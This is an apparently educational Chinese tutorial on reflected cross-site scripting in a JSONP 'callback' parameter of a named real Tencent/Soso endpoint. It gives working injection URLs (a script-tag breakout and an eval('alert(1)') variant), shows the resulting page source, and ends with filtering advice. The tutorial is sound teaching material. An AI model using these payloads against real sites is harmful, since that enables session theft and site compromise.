1. 我們找到這么一個點,也是輸入和輸出都未過濾的一個點。相比教程第一例,其特殊之處在於,是輸出在了 <script>[輸出]</script>之間。
http://activity.soso.com/common/setParentsInfo.php?callback=aaaaaaaaa
如下圖:callback參數未做過濾。 在【查看源代碼】下,我們可以看到。
缺陷網頁源代碼:
<script type='text/javascript'>document.domain='soso.com';_ret={"_res":2};try{parent.aaa(_ret);}catch(err){aaa(_ret);}</script>
2. 碰到這種情況,我們一般有以下解法。
2.1 首先判斷,是否過濾了 < , > , / 等符號,
2.2 如果都沒有過濾,恭喜你,一般可以直接XSS了。代碼如下:
http://activity.soso.com/common/setParentsInfo.php?callback=aaaaaaaaa</script><script>alert(1)</script>
原理入下圖:
構造callback參數后的源代碼
<script type='text/javascript'>document.domain='soso.com';_ret={"_res":2};try{parent.aaaaaaaaa</script><script>alert(1)</script>(_ret);}catch(err){aaaaaaaaa</script><script>alert(1)</script>(_ret);}</script>
2.3 如果過濾了 <, >,那么就無法使用上面的辦法了。我們接着看 3
3. script代碼里的構造。
友情提示:這里可能需要一點點 javascript 的知識才行哦~~
我們可以如下構造:
http://activity.soso.com/common/setParentsInfo.php?callback=eval('alert(1)');void
可以看到,源代碼是下面的樣子。
也就是說,我們插入的內容,使得這一段javascript依然【語法正確】,能夠【正確執行】,並且能夠執行【我們所插入的JS代碼】,這樣我們的目的就達到了。
構造后的源代碼如下:
<script type='text/javascript'>document.domain='soso.com';_ret={"_res":2};try{parent.eval('alert(1)');void(_ret);}catch(err){eval('alert(1)');void(_ret);}</script>
4. 這種輸出在JS代碼里的情況十分常見,但是呢?不幸的是,像這樣沒過濾的情況,卻不是很常見。例如:
var a="[輸出]"; // 通常程序員會把 " 過濾掉, 這樣的話,一般來說,我們就很難構造。
但是,這並不是說,就一定是不能利用,后面我們會拿騰訊一些【比較有意思】的例子,來進一步說到 這個【輸出在js里】的情況的~
修復方案:
這類XSS的模型通常是:
<script>...[輸出]...</script>
<style>...[輸出]...</script>
解決方案:
1. 過濾 </xxx> 組合
2. 針對輸出在不同的場景,進行合適的過濾。